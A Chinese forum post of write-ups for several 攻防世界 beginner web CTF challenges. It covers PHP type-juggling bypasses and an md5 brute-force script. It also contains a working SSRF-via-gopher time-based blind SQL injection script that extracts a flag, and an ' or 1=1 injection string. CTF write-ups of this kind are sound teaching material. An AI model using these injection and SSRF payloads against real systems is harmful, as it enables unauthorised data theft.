攻防世界Web题目的wp
本帖最后由 alglsf666 于 2024-4-14 20:07 编辑1.easyphp:
a又要大于6000000又要小于等于3位,直接1e9;
这道题主要分为两部分,第一部分为$a 和$b的判断,很简单
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){//长度不大于3 但是又需要大于6000000 通过科学计数法绕过,赋值$a=9e9
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ //直接通过脚本跑出来即可。如下脚本 $b=53724
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
<?php
for ($b=0; $b < 100000; $b++) {
if(substr(md5($b),-6,6) ==='8b184b'){
echo $b;
}
}
?>//结果:53724
所以第一部分payload为:?a=9e9&b=53724
第二部分
$c=(array)json_decode(@$_GET['c']);//这一步最后再做,最后构造完毕后直接json_encode即可
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c需为数组。且存在m,m不能为数字,但是需大于2022.直接m赋值为2023a 即可。 当前$c = array( "m"=>'2023a');
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"])){ //$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组,(这里的0为索引)。得到数组$c = array("m"=>'2023a',"n"=>array(array(),0));
$d = array_search("DGGJ", $c["n"]);//array_search 判断的方式相当于比较,判断$c["n"]中是否存在字符串"DGGJ",如果我们设置为0 .那么这个函数就会类型比较,从而将字符串转化为数值。而字符串"DGGJ"中无数字,故转为0.和我们的数组内容相同。返回true.进行下一步。
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;//和上面判断相同。
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}//最后得到$c = array("m"=>'2023a',"n"=>array(array(),0)); 通过echo json_encode($c); 获取payload.
{"m":"2023a","n":[[],0]}
得到完整payload:?a=9e9&b=53724&c={"m":"2023a","n":[[],0]}
2.代码了注释掉了一个use.php,但是bp抓不到什么有用的
只知道是SSRF,python搞起
import urllib.parse
import requests
import time
import base64
url = "http://61.147.171.105:63397//use.php?url="#这里域名要改自己的
flag = ""
for pos in range(1, 50):
for i in range(33, 127):
poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
i) + ",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
t1 = time.time()
res = requests.get(url + final_poc)
t2 = time.time()
if (t2 - t1 > 2):
flag += chr(i)
print(flag)
break
print(flag)
3.inget
SQL注入:
?id=' or 1=1 -- + 本帖最后由 alglsf666 于 2024-4-16 22:26 编辑
4.web2
直接代码逆推
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));
$m=$miwen;
for($i=0;$i<strlen($m);$i++){
$_c=substr($m,$i,1);
$__=ord($_c)-1;
$__=chr($__);
$_=$_.$__;
}
echo strrev($_);
5.Robots
访问robots.txt,看到f1ag_1s_h3re.php,再访问,得出flag
6.get_post
get简单访问?a=1
post要用表单
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>表单</h2>
<form action="http://61.147.171.105:51280/?a=1" method="post">
<label for="b">b:</label>
<input type="text" id="b" name="b" required>
<input type="submit" value="提交">
</form>
</body>
</html>
后续有时间再发 谢谢分享,已回复。
页:
[1]